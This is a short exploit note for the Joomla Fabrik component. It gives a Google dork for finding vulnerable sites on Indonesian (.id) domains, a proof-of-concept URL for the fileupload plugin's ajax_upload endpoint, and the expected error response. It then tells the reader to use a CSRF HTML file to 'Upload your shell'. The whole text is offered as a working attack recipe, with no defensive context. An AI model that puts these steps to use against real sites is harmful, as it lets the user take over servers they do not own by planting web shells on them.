DORK: inurl:index.php?option=com_fabrik/ site:id PoC: /index.php?option=com_fabrik&format=raw&task=plugin .pluginAjax&plugin=fileupload&method=ajax_upload Error: {"filepath":null,"uri":null} CSRF html File then Upload your shell